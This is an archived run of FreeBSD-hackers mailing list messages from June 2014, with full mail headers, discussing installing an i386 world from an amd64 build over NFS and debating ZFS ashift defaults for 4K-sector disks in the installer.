http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >>>>>>> To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@ >>>>>>> freebsd.org" >>>>>>> >>>>>> > From owner-freebsd-hackers@FreeBSD.ORG Sun Jun 1 19:46:06 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 46852E2F for ; Sun, 1 Jun 2014 19:46:06 +0000 (UTC) Received: from mail.iXsystems.com (newknight.ixsystems.com [206.40.55.70]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 29D782A67 for ; Sun, 1 Jun 2014 19:46:05 +0000 (UTC) Received: from localhost (mail.ixsystems.com [10.2.55.1]) by mail.iXsystems.com (Postfix) with ESMTP id 21DB776758; Sun, 1 Jun 2014 12:45:59 -0700 (PDT) Received: from mail.iXsystems.com ([10.2.55.1]) by localhost (mail.ixsystems.com [10.2.55.1]) (maiad, port 10024) with ESMTP id 91180-05; Sun, 1 Jun 2014 12:45:58 -0700 (PDT) Received: from [10.8.0.14] (unknown [10.8.0.14]) (using TLSv1 with cipher AES128-SHA (128/128 bits)) (No client certificate requested) by mail.iXsystems.com (Postfix) with ESMTPSA id 8C75A76755; Sun, 1 Jun 2014 12:45:57 -0700 (PDT) Content-Type: text/plain; charset=us-ascii Mime-Version: 1.0 (Mac OS X Mail 7.3 \(1878.2\)) Subject: Re: Upgrading an i386 machine from amd64. From: Jordan Hubbard In-Reply-To: <538B7937.2030104@mu.org> Date: Sun, 1 Jun 2014 12:45:55 -0700 Content-Transfer-Encoding: quoted-printable Message-Id: <098847BE-04B5-4E6F-98B8-87B5C7055C69@mail.turbofuzz.com> References: <538B61EC.9000403@mu.org> <5B82C892-12A4-4251-B3D2-A6D3EAAF90F9@dataix.net> <538B6FCC.9090301@mu.org> <538B761C.7060300@mu.org> <50E51CBE-7F7B-4093-86A5-320ACE81072E@dataix.net> <538B7937.2030104@mu.org> To: Alfred Perlstein X-Mailer: Apple Mail (2.1878.2) Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 01 Jun 2014 19:46:06 -0000 On Jun 1, 2014, at 12:04 PM, Alfred Perlstein wrote: > Unfortunately I'm doing it over NFS and I don't think we support = chflags over NFS (not even with an extension). Try the installworld with NO_FSCHG=3Dyes I think that catches at least 7 of the 8 places that need to be = conditionalized. :) - Jordan From owner-freebsd-hackers@FreeBSD.ORG Sun Jun 1 19:52:31 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 4EFCD22A for ; Sun, 1 Jun 2014 19:52:31 +0000 (UTC) Received: from elvis.mu.org (elvis.mu.org [192.203.228.196]) by mx1.freebsd.org (Postfix) with ESMTP id 395E92B30 for ; Sun, 1 Jun 2014 19:52:30 +0000 (UTC) Received: from AlfredMacbookAir.local (c-76-21-10-192.hsd1.ca.comcast.net [76.21.10.192]) by elvis.mu.org (Postfix) with ESMTPSA id 9B6301A3C1B; Sun, 1 Jun 2014 12:52:30 -0700 (PDT) Message-ID: <538B8494.3040701@mu.org> Date: Sun, 01 Jun 2014 12:52:52 -0700 From: Alfred Perlstein User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: Jordan Hubbard Subject: Re: Upgrading an i386 machine from amd64. References: <538B61EC.9000403@mu.org> <5B82C892-12A4-4251-B3D2-A6D3EAAF90F9@dataix.net> <538B6FCC.9090301@mu.org> <538B761C.7060300@mu.org> <50E51CBE-7F7B-4093-86A5-320ACE81072E@dataix.net> <538B7937.2030104@mu.org> <098847BE-04B5-4E6F-98B8-87B5C7055C69@mail.turbofuzz.com> In-Reply-To: <098847BE-04B5-4E6F-98B8-87B5C7055C69@mail.turbofuzz.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 01 Jun 2014 19:52:31 -0000 On 6/1/14, 12:45 PM, Jordan Hubbard wrote: > On Jun 1, 2014, at 12:04 PM, Alfred Perlstein wrote: > >> Unfortunately I'm doing it over NFS and I don't think we support chflags over NFS (not even with an extension). > Try the installworld with NO_FSCHG=yes > > I think that catches at least 7 of the 8 places that need to be conditionalized. :) > > - Jordan > Thanks Jordan, I did wind up using that, but NFS still was giving me: install -C -o root -g wheel -m 444 libcrypt.a /usr/soekris/usr/lib install -C -o root -g wheel -m 444 libcrypt_p.a /usr/soekris/usr/lib install -s -o root -g wheel -m 444 -fschg libcrypt.so.5 /usr/soekris/lib install: /usr/soekris/lib/libcrypt.so.5: Input/output error *** Error code 71 This was using a FreeBSD 11 client to install into the FreeBSD 10 server's root. It's either an NFS bug or something broken in 10.x AND 9.x servers AND/OR 11.x clients. Nothing in dmesg or on the console so... -Alfred From owner-freebsd-hackers@FreeBSD.ORG Sun Jun 1 20:27:29 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id ECD11D3C for ; Sun, 1 Jun 2014 20:27:29 +0000 (UTC) Received: from mail.iXsystems.com (newknight.ixsystems.com [206.40.55.70]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id CE4892DBF for ; Sun, 1 Jun 2014 20:27:28 +0000 (UTC) Received: from localhost (mail.ixsystems.com [10.2.55.1]) by mail.iXsystems.com (Postfix) with ESMTP id 05A80769C9; Sun, 1 Jun 2014 13:27:28 -0700 (PDT) Received: from mail.iXsystems.com ([10.2.55.1]) by localhost (mail.ixsystems.com [10.2.55.1]) (maiad, port 10024) with ESMTP id 94835-06; Sun, 1 Jun 2014 13:27:27 -0700 (PDT) Received: from [10.8.0.14] (unknown [10.8.0.14]) (using TLSv1 with cipher AES128-SHA (128/128 bits)) (No client certificate requested) by mail.iXsystems.com (Postfix) with ESMTPSA id 678A6769C3; Sun, 1 Jun 2014 13:27:23 -0700 (PDT) Content-Type: text/plain; charset=windows-1252 Mime-Version: 1.0 (Mac OS X Mail 7.3 \(1878.2\)) Subject: Re: Upgrading an i386 machine from amd64. From: Jordan Hubbard In-Reply-To: <538B8494.3040701@mu.org> Date: Sun, 1 Jun 2014 13:27:22 -0700 Content-Transfer-Encoding: quoted-printable Message-Id: <7977A65A-5ABE-49DD-8E76-074B54943D64@mail.turbofuzz.com> References: <538B61EC.9000403@mu.org> <5B82C892-12A4-4251-B3D2-A6D3EAAF90F9@dataix.net> <538B6FCC.9090301@mu.org> <538B761C.7060300@mu.org> <50E51CBE-7F7B-4093-86A5-320ACE81072E@dataix.net> <538B7937.2030104@mu.org> <098847BE-04B5-4E6F-98B8-87B5C7055C69@mail.turbofuzz.com> <538B8494.3040701@mu.org> To: Alfred Perlstein X-Mailer: Apple Mail (2.1878.2) Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 01 Jun 2014 20:27:30 -0000 On Jun 1, 2014, at 12:52 PM, Alfred Perlstein wrote: >=20 > On 6/1/14, 12:45 PM, Jordan Hubbard wrote: >> On Jun 1, 2014, at 12:04 PM, Alfred Perlstein wrote: >>=20 >>> Unfortunately I'm doing it over NFS and I don't think we support = chflags over NFS (not even with an extension). >> Try the installworld with NO_FSCHG=3Dyes >>=20 >> I think that catches at least 7 of the 8 places that need to be = conditionalized. :) >>=20 >> - Jordan >>=20 > Thanks Jordan, >=20 > I did wind up using that, but NFS still was giving me: > install -C -o root -g wheel -m 444 libcrypt.a /usr/soekris/usr/lib > install -C -o root -g wheel -m 444 libcrypt_p.a /usr/soekris/usr/lib > install -s -o root -g wheel -m 444 -fschg libcrypt.so.5 = /usr/soekris/lib > install: /usr/soekris/lib/libcrypt.so.5: Input/output error Well, like I said, I think the NO_FSCHG implementation is incomplete. = That=92s weird though - bsd.lib.mk (in -current at least) does have a = NO_FSCHG check. Are you sure that=92s set in your environment? Did = that change not make it into whatever branch you=92re using, perhaps? - Jordan From owner-freebsd-hackers@FreeBSD.ORG Sun Jun 1 20:33:24 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id D39CAE8E for ; Sun, 1 Jun 2014 20:33:24 +0000 (UTC) Received: from elvis.mu.org (elvis.mu.org [192.203.228.196]) by mx1.freebsd.org (Postfix) with ESMTP id BDE5E2E65 for ; Sun, 1 Jun 2014 20:33:24 +0000 (UTC) Received: from [10.237.47.97] (63.sub-174-240-8.myvzw.com [174.240.8.63]) by elvis.mu.org (Postfix) with ESMTPSA id EBC931A3C1D; Sun, 1 Jun 2014 13:33:23 -0700 (PDT) References: <538B61EC.9000403@mu.org> <5B82C892-12A4-4251-B3D2-A6D3EAAF90F9@dataix.net> <538B6FCC.9090301@mu.org> <538B761C.7060300@mu.org> <50E51CBE-7F7B-4093-86A5-320ACE81072E@dataix.net> <538B7937.2030104@mu.org> <098847BE-04B5-4E6F-98B8-87B5C7055C69@mail.turbofuzz.com> <538B8494.3040701@mu.org> <7977A65A-5ABE-49DD-8E76-074B54943D64@mail.turbofuzz.com> Mime-Version: 1.0 (1.0) In-Reply-To: <7977A65A-5ABE-49DD-8E76-074B54943D64@mail.turbofuzz.com> Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable Message-Id: <16263E8D-C06F-428B-8A9B-1A3AEC176C45@mu.org> X-Mailer: iPhone Mail (11D201) From: Alfred Perlstein Subject: Re: Upgrading an i386 machine from amd64. Date: Sun, 1 Jun 2014 13:33:18 -0700 To: Jordan Hubbard Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 01 Jun 2014 20:33:24 -0000 > On Jun 1, 2014, at 1:27 PM, Jordan Hubbard wrote:= >=20 >=20 >> On Jun 1, 2014, at 12:52 PM, Alfred Perlstein wrote: >>=20 >>=20 >>> On 6/1/14, 12:45 PM, Jordan Hubbard wrote: >>>> On Jun 1, 2014, at 12:04 PM, Alfred Perlstein wrote: >>>>=20 >>>> Unfortunately I'm doing it over NFS and I don't think we support chflag= s over NFS (not even with an extension). >>> Try the installworld with NO_FSCHG=3Dyes >>>=20 >>> I think that catches at least 7 of the 8 places that need to be conditio= nalized. :) >>>=20 >>> - Jordan >> Thanks Jordan, >>=20 >> I did wind up using that, but NFS still was giving me: >> install -C -o root -g wheel -m 444 libcrypt.a /usr/soekris/usr/lib >> install -C -o root -g wheel -m 444 libcrypt_p.a /usr/soekris/usr/lib >> install -s -o root -g wheel -m 444 -fschg libcrypt.so.5 /usr/soekris/l= ib >> install: /usr/soekris/lib/libcrypt.so.5: Input/output error >=20 > Well, like I said, I think the NO_FSCHG implementation is incomplete. Tha= t=E2=80=99s weird though - bsd.lib.mk (in -current at least) does have a NO_= FSCHG check. Are you sure that=E2=80=99s set in your environment? Did that= change not make it into whatever branch you=E2=80=99re using, perhaps? >=20 Let me recheck that. I see now the fschg flag which I thought wasn't there.=20= I will check when I get home.=20 I also need to make sure the target isn't fschg as well.=20 Thank you!= From owner-freebsd-hackers@FreeBSD.ORG Sun Jun 1 20:47:22 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 8D5B12E5; Sun, 1 Jun 2014 20:47:22 +0000 (UTC) Received: from anubis.delphij.net (anubis.delphij.net [64.62.153.212]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client CN "anubis.delphij.net", Issuer "StartCom Class 1 Primary Intermediate Server CA" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id 743CF2F45; Sun, 1 Jun 2014 20:47:22 +0000 (UTC) Received: from delphij-macbook.local (c-24-5-244-32.hsd1.ca.comcast.net [24.5.244.32]) (using TLSv1 with cipher ECDHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by anubis.delphij.net (Postfix) with ESMTPSA id 90D6B21D3D; Sun, 1 Jun 2014 13:47:21 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=delphij.net; s=anubis; t=1401655641; bh=rJJCdRh5c5aKaCemm/rV7rKEtToyZB/LABqYiMiR3aI=; h=Date:From:Reply-To:To:Subject:References:In-Reply-To; b=Mfk4snlcgHZEeePt6hF2g75FsHkaOENhZKnYpBH5TzaAdIIHHVRn5CbhU8zQIlLnU dHWPYau5IYXe4tfsdagHBPJRxtaFbI+e9z7aeN7ODws8aHKAh/tL/zSM6iv4kCLbo4 g2i8JTg3wIo3eAtCpM+wpl9eAp61bjaR3vXtNOfA= Message-ID: <538B9158.5040409@delphij.net> Date: Sun, 01 Jun 2014 13:47:20 -0700 From: Xin Li Reply-To: d@delphij.net Organization: The FreeBSD Project MIME-Version: 1.0 To: Nathan Whitehorn , freebsd-hackers@freebsd.org Subject: Re: Upgrading an i386 machine from amd64. References: <538B61EC.9000403@mu.org> <538B7778.3040205@freebsd.org> In-Reply-To: <538B7778.3040205@freebsd.org> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 01 Jun 2014 20:47:22 -0000 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 On 6/1/14, 11:56 AM, Nathan Whitehorn wrote: > On 06/01/14 10:25, Alfred Perlstein wrote: >> Hello hackers. >> >> Is there a way to build on amd64 and then mount over nfs the >> build and src and installworld from an i386 machine? >> >> The problem seems to be that "install" and "strip" and etc are >> built as amd64 binaries so that the installworld will fail. >> >> Below I have a solution I was going to do a blog post about, but >> then realized maybe I'd be leading people down the wrong path. >> >> Can someone verify that I need to use rsync as opposed to >> installworld for this to work? > > Usually the strategy is to update the kernel first, since you can > use an amd64 kernel with i386 world. Then you reboot, then replace > world. That will not work well about a year ago and I don't think things have been improved since then. The biggest problem was that some system management API (e.g. for use with ifconfig(8) or dhclient(8) I don't remember the details) do not have proper 32-bit ABI implementations. It would be great if we can have them fixed though. Cheers, -----BEGIN PGP SIGNATURE----- iQIcBAEBCgAGBQJTi5FYAAoJEJW2GBstM+nsPrcP/jdFMTS5BNc1E2Z/gcCLxFZS ADAgil9wgflnzhUXYlOOj5rxP+GrIHVaAwTfYTzqybdGQafcSNBrAYy/S9edgt00 sdu3l3GldIr2Rxlc86Nr2ug7DJo7x3X0ofUCT5c1kOfWmf/AYsYttdJfcg1LlXDo G/ZrDo7UV2C2lQ8mDqdBo7+tC2LM9I6ZZJuX3xdv+MzXEump9dIWhGAlog/dv/eV EuqSfrBN8u7tLJmQzq/+FBaB2YOaEw7NeHloh/ZY0wVxKqyFVbxw9xkAeB2+nhXv jGk4v8VV2qvbozP/W/5GQTyW97AHTfA4TsSjbDkpmYzEPJ28ZlW73ynlnwfVR3oT RqrW6zNZcgksxmPFC/RLxtU+IdqDAdi1XsR51PZmUKdhP0Gxiqs30pdHUcfrkgxo 2xc4jYvAykbVS7mZkLd3k+NtagkqMvLi86RzCTaJiJp+kK/SisqHGO6N7PXoMx2+ FaI6ySjecO9b6JOHwR84sMHHAgWg/WSZuMep0cipf2nf+AQerJ2X8AHro8PJC1Ym 9NaRSClrf6r0exoYgNgb905TnRR1xSoLnzfFLStokmbwTKWO9dot0ZHjBBcGr9+x 3VzDbbe1nQe/RB8pr2ubVcicBOWET3Ee3oxvAFF7a/GdG/9iEGMZ3y0+nUkRFEOE FLBiWx5A9fywxfeQjoyb =XZ6c -----END PGP SIGNATURE----- From owner-freebsd-hackers@FreeBSD.ORG Sun Jun 1 21:06:54 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id B57FA6A3 for ; Sun, 1 Jun 2014 21:06:54 +0000 (UTC) Received: from i3mail.icecube.wisc.edu (i3mail.icecube.wisc.edu [128.104.255.23]) by mx1.freebsd.org (Postfix) with ESMTP id 8A62420A9 for ; Sun, 1 Jun 2014 21:06:54 +0000 (UTC) Received: from localhost (localhost [127.0.0.1]) by i3mail.icecube.wisc.edu (Postfix) with ESMTP id 3FF8E38067; Sun, 1 Jun 2014 16:06:53 -0500 (CDT) X-Virus-Scanned: amavisd-new at icecube.wisc.edu Received: from i3mail.icecube.wisc.edu ([127.0.0.1]) by localhost (i3mail.icecube.wisc.edu [127.0.0.1]) (amavisd-new, port 10030) with ESMTP id 1E034wPKmuJG; Sun, 1 Jun 2014 16:06:53 -0500 (CDT) Received: from comporellon.tachypleus.net (polaris.tachypleus.net [75.101.50.44]) by i3mail.icecube.wisc.edu (Postfix) with ESMTPSA id D5CF238064; Sun, 1 Jun 2014 16:06:52 -0500 (CDT) Message-ID: <538B95EB.7070806@freebsd.org> Date: Sun, 01 Jun 2014 14:06:51 -0700 From: Nathan Whitehorn User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: d@delphij.net, freebsd-hackers@freebsd.org Subject: Re: Upgrading an i386 machine from amd64. References: <538B61EC.9000403@mu.org> <538B7778.3040205@freebsd.org> <538B9158.5040409@delphij.net> In-Reply-To: <538B9158.5040409@delphij.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 01 Jun 2014 21:06:54 -0000 On 06/01/14 13:47, Xin Li wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA512 > > On 6/1/14, 11:56 AM, Nathan Whitehorn wrote: >> On 06/01/14 10:25, Alfred Perlstein wrote: >>> Hello hackers. >>> >>> Is there a way to build on amd64 and then mount over nfs the >>> build and src and installworld from an i386 machine? >>> >>> The problem seems to be that "install" and "strip" and etc are >>> built as amd64 binaries so that the installworld will fail. >>> >>> Below I have a solution I was going to do a blog post about, but >>> then realized maybe I'd be leading people down the wrong path. >>> >>> Can someone verify that I need to use rsync as opposed to >>> installworld for this to work? >> Usually the strategy is to update the kernel first, since you can >> use an amd64 kernel with i386 world. Then you reboot, then replace >> world. > That will not work well about a year ago and I don't think things have > been improved since then. > > The biggest problem was that some system management API (e.g. for use > with ifconfig(8) or dhclient(8) I don't remember the details) do not > have proper 32-bit ABI implementations. It would be great if we can > have them fixed though. > Huh. It works great on PowerPC with 64-bit kernels and 32-bit worlds -- has for years. I assumed i386 would be the same way. In any case, I guess it's enough to get into single user mode and run installworld? -Nathan From owner-freebsd-hackers@FreeBSD.ORG Sun Jun 1 21:27:44 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 179F9CDB for ; Sun, 1 Jun 2014 21:27:44 +0000 (UTC) Received: from mail-pd0-x22d.google.com (mail-pd0-x22d.google.com [IPv6:2607:f8b0:400e:c02::22d]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id D74F0222D for ; Sun, 1 Jun 2014 21:27:43 +0000 (UTC) Received: by mail-pd0-f173.google.com with SMTP id v10so2736907pde.4 for ; Sun, 01 Jun 2014 14:27:43 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=delphix.com; s=google; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=ots8PHipsPZ5ortSy5BicTIvA2Bo0qt+PWJ6Ph/ErKo=; b=UuXLaD9jgO08sqafTD6xPIb2XbNdn253cxcqflb8Z8JCRVX6Yz+kLyT4BIy3DyhjhB UqDZ8AtcRlt4SFZAQmtybzH6+vi+ACHCRuzF/ys0xlKv0a4kSA1ZO5GT1umPmC/chX5x wlXH0WtY08Ee6dy+LaHcLovO99FwvRIzvzH9k= X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:in-reply-to:references:date :message-id:subject:from:to:cc:content-type; bh=ots8PHipsPZ5ortSy5BicTIvA2Bo0qt+PWJ6Ph/ErKo=; b=R9Pp3WRien/nj55fdyH15jw8b7wC3f1AhUWf3hEd1tjPU7aXkQD+Z2euWomqmvmN8W 3Ab19Uc5Yp4wHgzSQoJSrAqbrwr1rM+S7n4/3pWlfaY8dvEZ6RFYx3NWegC2/wmvfzhY DbbS1oM9DloP/UK/vB9mbDrPRvqezWucL6uETlohw4oD0huaAuKZYtLY2egIfaJaS1P6 cBMr096KjrS7xPwTS33oHols1vUIjZjkgLGm/odUNYBxezY7x+Qn5qRVlqAhTMeETfr6 5wb9642ZqBov/4kqW//EuCysNyTc6FKj0yli4geqhgya0ujZnc5BNWT+4nWFY/YSK/H9 jjPA== X-Gm-Message-State: ALoCoQkRReqxcDQpl5fVTYHQeF1eppHGmW91BtnG/kD1nRZYKEBF5T4Zb85RAoBYfWgBNYn82qAW MIME-Version: 1.0 X-Received: by 10.68.133.7 with SMTP id oy7mr35897783pbb.43.1401658062863; Sun, 01 Jun 2014 14:27:42 -0700 (PDT) Received: by 10.70.0.202 with HTTP; Sun, 1 Jun 2014 14:27:42 -0700 (PDT) In-Reply-To: <538B4FD7.4090000@freebsd.org> References: <20140601004242.GA97224@bewilderbeast.blackhelicopters.org> <3D6974D83AE9495E890D9F3CA654FA94@multiplay.co.uk> <538B4CEF.2030801@freebsd.org> <1DB2D63312CE439A96B23EAADFA9436E@multiplay.co.uk> <538B4FD7.4090000@freebsd.org> Date: Sun, 1 Jun 2014 14:27:42 -0700 Message-ID: Subject: Re: fdisk(8) vs gpart(8), and gnop From: Matthew Ahrens To: Nathan Whitehorn X-Mailman-Approved-At: Sun, 01 Jun 2014 23:46:54 +0000 Content-Type: text/plain; charset=UTF-8 X-Content-Filtered-By: Mailman/MimeDel 2.1.18 Cc: freebsd-fs , FreeBSD Hackers , Steven Hartland X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 01 Jun 2014 21:27:44 -0000 On Sun, Jun 1, 2014 at 9:07 AM, Nathan Whitehorn wrote: > On 06/01/14 09:00, Steven Hartland wrote: > >> >> ----- Original Message ----- From: "Nathan Whitehorn" < >> nwhitehorn@freebsd.org> >> To: ; >> Sent: Sunday, June 01, 2014 4:55 PM >> Subject: Re: fdisk(8) vs gpart(8), and gnop >> >> >> On 06/01/14 08:52, Steven Hartland wrote: >>> >>>> ----- Original Message ----- From: "Mark Felder" >>>> >>>> On May 31, 2014, at 20:57, Freddie Cash wrote: >>>>> >>>>> There's a sysctl where you can set the minimum ashift for zfs. Then >>>>>> you >>>>>> never need to use gnop. >>>>>> >>>>>> I believe it's part of 10.0? >>>>>> >>>>> >>>>> I've not seen this yet. What we need is to port the ability to set >>>>> ashift at pool creation time: >>>>> >>>>> $ zpool create -o ashift=12 tank mirror disk1 disk2 mirror disk3 disk4 >>>>> >>>>> I believe the Linux zfs port has this functionality now, but we still >>>>> do not. >>>>> >>>> >>>> We don't have that direct option yet but you can achieve the >>>> same thing by setting: vfs.zfs.min_auto_ashift=12 >>>> >>>> Does anyone have any objections to me changing this default, right >>> now, today? >>> -Nathan >>> >> >> I think you will get some objections to that, as it can have quite an >> impact >> on the performance for disks which are 512, due to the increased overhead >> of >> transfering 4k when only 512 is really required. This has a more dramatic >> impact on RAIDZx due too. >> >> Personally we run a custom kernel on our machines which has just this >> change >> in it to ensure capability with future disks, so I can confirm it does >> indeed >> have the desired effect :) >> > > So the discussion here is related to what to do about the installer. The > current ZFS component unconditionally creates gnops all over the place to > set ashift to 4k. That's across the board worse: it has exactly the > performance impact of changing the default of this sysctl (whatever that > is), it can't easily be overridden (which the sysctl can), and it's a > horrible hack to boot. There are a few options: > > 1. Change the default of vfs.zfs.min_auto_ashift > This is probably a bad idea -- as others have mentioned, it can drastically impact space usage and performance on 512B disks, especially when using small ZFS blocks (e.g. for databases or VDI) and/or RAID-Z. That said, it could be a reasonable default for specialized distros that are not used for these workloads (maybe FreeNAS or PCBSD?). 2. Have the same effect but in a vastly worse way by adjusting the > installer to create gnops > 3. Have ZFS choose by itself and decide to do that permanently. > If the device reports a 512B sector size, it would be great for ZFS to assume the device could be lying, and automatically determine the minimum ashift which gives good performance. I think this could be done reasonably well for the common case by doing the following when each 512B-sector device is added: 1. do random 4KB writes to the disk to determine wIOPS@4K 2. do random 3.5KB writes to the disk to determine wIOPS@3.5K If wIOPS@4K > wIOPS@3.5K, assume 4KB sectors, otherwise assume 512B sectors. (Note: I haven't tried this in practice; we will need to test it out and perhaps make some tweaks.) I don't have the time or hardware to implement and test this, but I'd be happy to mentor or code review. --matt > > Our ATA code is good about reporting block sizes now, so (3) isn't a big > issue except for the mixed-pool case, which is a huge PITA. > > We need to choose one of these. I favor (1). > -Nathan > > _______________________________________________ > freebsd-fs@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-fs > To unsubscribe, send any mail to "freebsd-fs-unsubscribe@freebsd.org" > From owner-freebsd-hackers@FreeBSD.ORG Sun Jun 1 21:31:53 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 39E9391 for ; Sun, 1 Jun 2014 21:31:53 +0000 (UTC) Received: from mail-pa0-x229.google.com (mail-pa0-x229.google.com [IPv6:2607:f8b0:400e:c03::229]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 06FE522CF for ; Sun, 1 Jun 2014 21:31:53 +0000 (UTC) Received: by mail-pa0-f41.google.com with SMTP id kx10so3538672pab.0 for ; Sun, 01 Jun 2014 14:31:52 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=delphix.com; s=google; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=uoCNQcS1rR92X9OgWF3M4XpNU4Ti2uDClI7HBu1vP+k=; b=N4n+SBbCMxs8Vbvyc87PEDyibbOvTMCQgXalkjQavdcUPVH1+GsDHiu9RHFl3pU9nC +BLCJ8TFrdqRefTtdZLZPWM3k4H/Ebwar7lDqtaAtUq/RTTb5tGNZDu7vuPTvzi41XeM rrwYqXboPqCR9lb32F9ausLoo/vAUNmH89oYA= X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:in-reply-to:references:date :message-id:subject:from:to:cc:content-type; bh=uoCNQcS1rR92X9OgWF3M4XpNU4Ti2uDClI7HBu1vP+k=; b=JWULUSmJGLib+aJtfV5+XRZ9E3DuyWZnu2z0Lt7O762WUx/5O4hFa2S1hKSOz15UpY zKTuDmmKnb4mR3hi7pPAWu961ugVJ/nyP4yqDhWAvj9bjSNdrMyjJdYVCGaDsBECEyah XLYgtKfGjwMgavMyxyROVMIu/aZeR24vJySMqQhJiNT7OP1qKDEhM8DyBnNzoINq5gFG 